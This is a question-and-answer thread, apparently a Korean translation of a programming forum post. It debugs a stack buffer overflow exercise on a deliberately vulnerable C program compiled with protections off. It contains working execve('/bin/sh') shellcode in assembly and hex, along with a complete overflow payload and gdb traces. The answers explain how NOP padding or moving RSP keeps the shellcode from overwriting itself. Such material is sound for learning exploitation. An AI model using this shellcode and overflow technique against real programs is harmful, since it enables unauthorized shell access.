2015-01-08 3 views
1

오버플로를 일으켜 스택에서 실행중인 코드를 테스트하고 있습니다. 스택에있는 내 어셈블러 코드에 대한 강사 포인터를 얻고 실행을 시작합니다. 그러나 한 지점에서 지침 자체가 바뀌는 것처럼 보입니다.이 문제를 해결할 때 약간의 문제가 있습니다.스택의 코드 자체가 변경됩니다.

bug2.c :

#include <stdio.h> 
# Very simple case, compiled by 
# gcc -o bug2 -z execstack -fno-pie -fno-stack-protector bug2.c 

int main(int argc, char * argv[]) { 

    char buf[256]; 

    if(argc == 1) { 

     printf("Usage: %s input\n", argv[0]); 
     exit(0); 

    } 

    strcpy(buf,argv[1]); 
    printf("%s", buf); 

} 

scode3.asm :

SECTION .text 
    global _start 

_start: 

    xor rdx, rdx 
    mov rbx, 0x68732f6e69622fff 
    shr rbx, 0x8 
    push rbx 
    mov  rdi, rsp 
    xor  rax, rax 
    push rax 
    push rdi 
    mov  rsi, rsp 
    mov al, 0x3b 
    syscall 

    push 0x1 
    pop  rdi 
    push 0x3c 
    pop  rax 
    syscall 

가 scode3.asm 테스트와 쉘 코드 점점 그런 다음 테스트

$ nasm -f elf64 -o scode3.o scode3.asm 
$ ld -o scode3 scode3.o 
$ ./scode3 
$ ... gave new shell... exit... 
$ objdump -d scode3 

scode3:  file format elf64-x86-64 
Disassembly of section .text: 
0000000000400080 <_start>: 
    400080: 48 31 d2    xor %rdx,%rdx 
    400083: 48 bb ff 2f 62 69 6e movabs $0x68732f6e69622fff,%rbx 
    40008a: 2f 73 68 
    40008d: 48 c1 eb 08    shr $0x8,%rbx 
    400091: 53      push %rbx 
    400092: 48 89 e7    mov %rsp,%rdi 
    400095: 48 31 c0    xor %rax,%rax 
    400098: 50      push %rax 
    400099: 57      push %rdi 
    40009a: 48 89 e6    mov %rsp,%rsi 
    40009d: b0 3b     mov $0x3b,%al 
    40009f: 0f 05     syscall 
    4000a1: 6a 01     pushq $0x1 
    4000a3: 5f      pop %rdi 
    4000a4: 6a 3c     pushq $0x3c 
    4000a6: 58      pop %rax 
    4000a7: 0f 05     syscall 

This makes "\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f 
\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31 
\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01 
\x5f\x6a\x3c\x58\x0f\x05" 

을 :

gdb -q bug2 
# Let's put breakpoint at the printf (see the c code) 
> break *0x0000000000400641 
Breakpoint 1 at 0x400641 
> x/i 0x0000000000400641 
0x400641 <main+123>: call 0x400490 <[email protected]> 
# Run with something that overflows, puts assembler code in stack, and leaves a pointer in stack pointing to the beginning of the assembler code 
> run `perl -e 'print "\x90" x (263-41) . "\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05" . "\x90\xbe\xdc\xff\xff\xff\x7f\x00\x00"'` 
Starting program: /home/meh/bug2 `perl -e 'print "\x90" x (263-41) . "\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05" . "\x90\xbe\xdc\xff\xff\xff\x7f\x00\x00"'` 
-----------------------------------------------------------------------------------------------------------------------[regs] 
    RAX: 0x0000000000000000 RBX: 0x0000000000000000 RCX: 0xBE90050F583C6A5F RDX: 0x007FFFFFFFDCBE90 o d I t s z a P c 
    RSI: 0x00007FFFFFFFDBE0 RDI: 0x00000000004006F1 RBP: 0x00007FFFFFFFDCE0 RSP: 0x00007FFFFFFFDBD0 RIP: 0x0000000000400641 
    R8 : 0x000000335BDB8E80 R9 : 0x000000335BDB8E80 R10: 0x000000000000005D R11: 0x000000335BB7F980 R12: 0x00000000004004D0 
    R13: 0x00007FFFFFFFDDC0 R14: 0x0000000000000000 R15: 0x0000000000000000 
    CS: 0033 DS: 0000 ES: 0000 FS: 0000 GS: 0000 SS: 002B     
-----------------------------------------------------------------------------------------------------------------------[code] 
=> 0x400641 <main+123>: call 0x400490 <[email protected]> 
    0x400646 <main+128>: leave 
    0x400647 <main+129>: ret  
    0x400648: nop DWORD PTR [rax+rax*1+0x0] 
    0x400650 <__libc_csu_init>: push r15 
    0x400652 <__libc_csu_init+2>: push r14 
    0x400654 <__libc_csu_init+4>: mov r15d,edi 
    0x400657 <__libc_csu_init+7>: push r13 
----------------------------------------------------------------------------------------------------------------------------- 

Breakpoint 1, 0x0000000000400641 in main() 

# Okay, now let's step to the point where the instruction pointer is at the code that was put in stack: 

> n 3 
0x00007fffffffdcbe in ??() 
> x/16i 0x00007fffffffdcbe 
=> 0x7fffffffdcbe: xor rdx,rdx 
    0x7fffffffdcc1: movabs rbx,0x68732f6e69622fff 
    0x7fffffffdccb: shr rbx,0x8 
    0x7fffffffdccf: push rbx 
    0x7fffffffdcd0: mov rdi,rsp 
    0x7fffffffdcd3: xor rax,rax 
    0x7fffffffdcd6: push rax 
    0x7fffffffdcd7: push rdi 
    0x7fffffffdcd8: mov rsi,rsp 
    0x7fffffffdcdb: mov al,0x3b 
    0x7fffffffdcdd: syscall 
    0x7fffffffdcdf: push 0x1 
    0x7fffffffdce1: pop rdi 
    0x7fffffffdce2: push 0x3c 
    0x7fffffffdce4: pop rax 
    0x7fffffffdce5: syscall 

올바른 코드로 보입니다. 나는 다음 명령은 mov 인 RSI, RSP 것으로 기대했다

> si 
=> 0x7fffffffdcd6: push rax 
-----------------------------------------------------------------------------------------------------------------------[regs] 
    RAX: 0x0000000000000000 RBX: 0x0068732F6E69622F RCX: 0x000000007FFFFEF1 RDX: 0x0000000000000000 o d I t s Z a P c 
    RSI: 0x00000000004006F3 RDI: 0x00007FFFFFFFDCE8 RBP: 0x90050F583C6A5F01 RSP: 0x00007FFFFFFFDCE0 RIP: 0x00007FFFFFFFDCD7 
    R8 : 0x00000000FFFFFFFF R9 : 0x000000000000010E R10: 0x0000000000000022 R11: 0x0000000000000246 R12: 0x00000000004004D0 
    R13: 0x00007FFFFFFFDDC0 R14: 0x0000000000000000 R15: 0x0000000000000000 
    CS: 0033 DS: 0000 ES: 0000 FS: 0000 GS: 0000 SS: 002B     
-----------------------------------------------------------------------------------------------------------------------[code] 
=> 0x7fffffffdcd7: push rdi 
    0x7fffffffdcd8: mov rsi,rsp 
    0x7fffffffdcdb: mov al,0x3b 
    0x7fffffffdcdd: syscall 
    0x7fffffffdcdf: push 0x0 
    0x7fffffffdce1: add BYTE PTR [rax],al 
    0x7fffffffdce3: add BYTE PTR [rax],al 
    0x7fffffffdce5: add BYTE PTR [rax],al 
----------------------------------------------------------------------------------------------------------------------------- 
0x00007fffffffdcd7 in ??() 

(gdb) > si 
=> 0x7fffffffdcd7: push rdi 
-----------------------------------------------------------------------------------------------------------------------[regs] 
    RAX: 0x0000000000000000 RBX: 0x0068732F6E69622F RCX: 0x000000007FFFFEF1 RDX: 0x0000000000000000 o d I t s Z a P c 
    RSI: 0x00000000004006F3 RDI: 0x00007FFFFFFFDCE8 RBP: 0x90050F583C6A5F01 RSP: 0x00007FFFFFFFDCD8 RIP: 0x00007FFFFFFFDCD8 
    R8 : 0x00000000FFFFFFFF R9 : 0x000000000000010E R10: 0x0000000000000022 R11: 0x0000000000000246 R12: 0x00000000004004D0 
    R13: 0x00007FFFFFFFDDC0 R14: 0x0000000000000000 R15: 0x0000000000000000 
    CS: 0033 DS: 0000 ES: 0000 FS: 0000 GS: 0000 SS: 002B     
-----------------------------------------------------------------------------------------------------------------------[code] 
=> 0x7fffffffdcd8: call 0x7fffffffdcb9 
    0x7fffffffdcdd: jg  0x7fffffffdcdf 
    0x7fffffffdcdf: add BYTE PTR [rax],al 
    0x7fffffffdce1: add BYTE PTR [rax],al 
    0x7fffffffdce3: add BYTE PTR [rax],al 
    0x7fffffffdce5: add BYTE PTR [rax],al 
    0x7fffffffdce7: add BYTE PTR [rdi],ch 
    0x7fffffffdce9: (bad) 
----------------------------------------------------------------------------------------------------------------------------- 
0x00007fffffffdcd8 in ??() 

하지만 그 시점이 변경에서 앞으로 모든 것 : 수동으로 시스템 콜을 향해 스테핑.

스택을 푸시하면 이전에 삽입 한 데이터 (명령)를 덮어 쓰는 것 같습니까? 이 문제를 해결할 수있는 최소한의 방법은 무엇입니까?

나는

run `perl -e 'print "\x90" x (263-81) . "\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05" . "\x90" x 40 . "\x90\xbe\xdc\xff\xff\xff\x7f\x00\x00"'` 

같은 코드에게 뭔가 조금 이동 시도했지만 나를 위해 도움을 보이지 않았다.

+3

코드를 방해하지 않도록 스택 포인터를 누르거나 이동하지 마십시오. – Jester

+0

@Jester 네,하지만 syscall을 설치하려면 그걸 필요로합니까? – user918176

+1

지금 스택이 필요한 syscall을 생각할 수 없습니다. 어쨌든 두 번째 방법을 사용하십시오 (방해가되는 방향으로 rsp를 움직이십시오). – Jester

답변

1

이전에 삽입 한 데이터를 덮어 쓰는 것이 좋습니다 (지침). 이 문제를 해결할 수있는 최소한의 방법은 무엇입니까?

맞습니다. 본질적으로 자신의 발 (또는 자신의 RIP)에 따라 코드를 수정하고있는 것입니다. 마음에 와서 두 가지 간단한 해결책이 있습니다

  • NOP 패딩
  • 는 PUSH 명령에 도달하면
은 무엇 덮어 도착하면 NOP를 방법, 몇 다스 무상 NOP 지침이 방법을 당신의 쉘 코드를 시작

뒤에있는 코드는 현재 실행하려는 코드가 아닙니다. 당신이 당신의 쉘 코드에서 정상 스택 프레임으로 돌아 계획이없는 당신이 심각한 크기 제한이있는 경우의 방법 중

  • 이동 RSP는

, 당신은 스택을 위로 조금 RSP를 이동할 수 있습니다 PUSHes는 현재 RIP 바로 아래에서 발생하지 않습니다. 이것은 스택에있는 중요한 정보를 덮어 쓰지 만 이미 쉘 코드를 실행하고 있다면 신경 쓰지 않아도됩니다.